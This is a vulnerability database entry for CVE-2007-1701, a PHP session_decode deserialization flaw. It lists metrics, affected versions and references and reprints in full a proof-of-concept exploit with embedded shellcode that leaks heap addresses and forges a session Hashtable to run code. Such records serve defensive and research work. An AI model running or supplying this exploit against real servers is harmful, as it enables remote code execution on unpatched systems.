CVE-2007-1701 : Detail

CVE-2007-1701

A08-Soft and Data Integrity Fail
8.97%V4
Network
2007-03-26
23h00 +00:00
2017-10-09
22h57 +00:00
CVE.org
NVD
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CVE Descriptions

PHP 4 before 4.4.5, and PHP 5 before 5.2.1, when register_globals is enabled, allows context-dependent attackers to execute arbitrary code via deserialization of session data, which overwrites arbitrary global variables, as demonstrated by calling session_decode on a string beginning with "_SESSION|s:39:".

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-502 Deserialization of Untrusted Data
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 3572

Publication date : 2007-03-24 23h00 +00:00
Author : Stefan Esser
EDB Verified : Yes

<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP session_decode() _SESSION Overwrite Vulnerability // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); $shellcode = "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46". "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f". "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6". "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06". "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc". "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d". "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; findOffsets(); $Hashtable = pack("LLLLLLLLLCCC", 2, 1, 0, 0, 0, $offset_1+0x70, 0, $offset_1+0x70, $offset_1, 0, 0, 0); $str = '_SESSION|s:39:"'.$Hashtable.'"|a|i:0;a|i:0;'; session_start(); session_decode($str); // This function uses the substr_compare() vulnerability // to get the offsets. function findOffsets() { global $offset_1, $offset_2, $shellcode; // We need to NOT clear these variables, // otherwise the heap is too segmented global $memdump, $d, $arr; $sizeofHashtable = 39; $maxlong = 0x7fffffff; // Signature of a big endian Hashtable of size 256 with 1 element $search = "\x00\x01\x00\x00\xff\x00\x00\x00\x01\x00\x00\x00"; $memdump = str_repeat("A", 4096); for ($i=0; $i<400; $i++) { $d[$i]=array(); } unset($d[350]); $x = str_repeat("\x01", $sizeofHashtable); unset($d[351]); unset($d[352]); $arr = array(); for ($i=0; $i<129; $i++) { $arr[$i] = 1; } $arr[$shellcode] = 1; for ($i=0; $i<129; $i++) { unset($arr[$i]); } // If the libc memcmp leaks the information use it // otherwise we only get a case insensitive memdump $b = substr_compare(chr(65),chr(0),0,1,false) != 65; for ($i=0; $i<4096; $i++) { $y = substr_compare($x, chr(0), $i+1, $maxlong, $b); $Y = substr_compare($x, chr(1), $i+1, $maxlong, $b); if ($y-$Y == 1 || $Y-$y==1){ $y = chr($y); if ($b && strtoupper($y)!=$y) { if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) { $y = strtoupper($y); } } $memdump[$i] = $y; } else { $y = substr_compare($x, chr(1), $i+1, $maxlong, $b); $Y = substr_compare($x, chr(2), $i+1, $maxlong, $b); if ($y-$Y != 1 && $Y-$y!=1){ $memdump[$i] = chr(1); } else { $memdump[$i] = chr(0); } } } // Search shellcode and hashtable and calculate memory address $pos_shellcode = strpos($memdump, $shellcode); $pos_hashtable = strpos($memdump, $search); $addr = substr($memdump, $pos_hashtable+6*4, 4); $addr = unpack("L", $addr); // Fill in both offsets $offset_1 = $addr[1] + 32; $offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4; } ?> # milw0rm.com [2007-03-25]

Products Mentioned

Configuraton 0

Php>>Php >> Version From (including) 4.0.0 To (excluding) 4.4.5

Php>>Php >> Version From (including) 5.0.0 To (excluding) 5.2.1

References

http://www.securityfocus.com/bid/23120
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2007/1991
Tags : vdb-entry, x_refsource_VUPEN
http://security.gentoo.org/glsa/glsa-200705-19.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.vupen.com/english/advisories/2007/2374
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/25423
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/25850
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/25445
Tags : third-party-advisory, x_refsource_SECUNIA
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.